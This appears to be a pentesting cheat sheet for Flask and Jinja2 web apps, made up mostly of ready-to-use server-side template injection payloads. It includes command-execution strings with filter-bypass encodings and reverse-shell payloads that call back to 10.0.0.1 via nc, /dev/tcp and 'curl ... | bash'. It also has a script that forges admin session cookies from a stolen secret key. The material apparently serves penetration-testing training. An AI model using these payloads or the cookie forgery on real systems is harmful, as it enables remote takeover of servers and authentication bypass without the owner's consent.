# Flask Jinja2 Pentesting

Flask is a micro web framework written in Python.

### Common Directories <a href="#common-directories" id="common-directories"></a>

```
/app.py
/main.py
/modules.py
/modules/__init__.py
/modules/admin.py
```

### SSTI (Server-Side Template Injection) <a href="#ssti-server-side-template-injection" id="ssti-server-side-template-injection"></a>

Sometimes, website may filter specific characters.\
If so, **URL encode the payload or convert to HEX**.\
In addition, it’s recommended to send requests using **Burp Suite** because web browsers automatically update the payload.

First, try below payloads.

```
{{ 4*2 }}
{{ config.items() }}
# Remove curly brackets
{2*3}
2*3
```

#### RCE <a href="#rce" id="rce"></a>

If success, we may be able to exploit with OS command injection.

```
{{ __import__('os').system('ping -c 1 10.0.0.1') }}

{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}

{{ request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']() }}

{{ request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']() }}

{{ request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('id')|attr('read')() }}

{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')() }}

{{ [].__class__.__base__.__subclasses__()[422]('cat /etc/passwd',shell=True,stdout=-1).communicate()[0].strip() }}

{{ ''.__class__.__mro__[1].__subclasses__()[401]("whoami", shell=True, stdout=-1).communicate() }}
```

#### Reverse Shell <a href="#reverse-shell" id="reverse-shell"></a>

```
{{config.__class__.__init__.__globals__['os'].popen('mkfifo /tmp/ZTQ0Y; nc 10.0.0.1 443 0</tmp/ZTQ0Y | /bin/sh >/tmp/ZTQ0Y 2>&1; rm /tmp/ZTQ0Y').read()}}

{{ request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f')|attr('read')() }}

# Filter bypass - Base64 encode
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo "YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xNy80NDQ0IDA+JjEi" | base64 -d | bash').read() }}
```

Alternatively, we can create a shell script to reverse shell, then execute it in the server side.\
For example, create a shell script named "revshell" in local machine.

```
#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
```

Then host it and start a listener for receiving an incoming request.

```
# Local terminal 1
python3 -m http.server 8000

# Local terminal 2
nc -lvnp 4444
```

Now inject SSTI in the target website.

```
{{request.application.__globals__.__builtins__.__import__('os').popen('curl 10.0.0.1:8000/revshell | bash').read()}}

# Filter bypassing
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("curl 10.0.0.1:8000/revshell | bash")|attr("read")()}}
```

We may get a shell.

### SSTI with Error Page <a href="#ssti-with-error-page" id="ssti-with-error-page"></a>

If the website displays **an error page (404, 403, etc.)** when we access to the page which does not exists, the path may be reflected in the error page. For example, when we attempt to access to **`/example.html`** which does not exist, the error page will show messages like the following.

```
No result for /example.html
```

As you know, we can insert the **malicious program** using **SSTI**.\
For instance, try to access **`http://example.com/{{ 2*3 }}`**.\
The error page will reflect the result of **"2\*3"** as follow.

```
No result for 6
```

### Decode Session Cookie <a href="#decode-session-cookie" id="decode-session-cookie"></a>

The session of cookie in the Flask webapp can be decoded.

* [**Flask Session Cookie Decoder**](https://www.kirsle.net/wizards/flask-session.cgi)

### Cookie Forgery <a href="#cookie-forgery" id="cookie-forgery"></a>

#### 1. Create a Python Virtual Environment <a href="#id-1-create-a-python-virtual-environment" id="id-1-create-a-python-virtual-environment"></a>

```
python3 -m venv myenv
source myenv/bin/activate
```

#### 2. Install Packages <a href="#id-2-install-packages" id="id-2-install-packages"></a>

```
pip3 install flask requests waitress
```

#### 3. Create a Python Script <a href="#id-3-create-a-python-script" id="id-3-create-a-python-script"></a>

For instance, create “test.py”.\
Replace the **"SECRET\_KEY"** value with the target Flask app's secret key.

```
#!/usr/bin/env python3
from flask import Flask, session, request
from waitress import serve
import requests, threading, time

app = Flask(__name__)
app.config["SECRET_KEY"] = "c53ac69e07ed112ecb788eb4dc831990"

@app.route("/")
def main():
    session["auth"] = "True"
    session["username"] = "test" # SSTI may be applied with "{{ 3*7 }}"
    return "Check you cookies", 200

# Flask setup/start
thread = threading.Thread(target = lambda: serve(app, port=9000, host="127.0.0.1"))
thread.setDaemon(True)
thread.start()

# Request
time.sleep(1)
print(requests.get("http://localhost:9000/").cookies.get("session"))
```

#### 4. Run the Script <a href="#id-4-run-the-script" id="id-4-run-the-script"></a>

```
python3 test.py
```

The cookie value generated.

Copy and paste it into the Cookie of the HTTP header in browser as below.

```
Cookie: session=<generated_cookie_value>
```

Now we can login and access to admin page e.g. /admin.\
After exploiting, deactivate the python virtual environment.

```
deactivate
```

### References <a href="#references" id="references"></a>

* [TryHackMe](https://tryhackme.com/room/hipflask)
* [InfoSec Writeups](https://infosecwriteups.com/-e91b4e65a4b2)
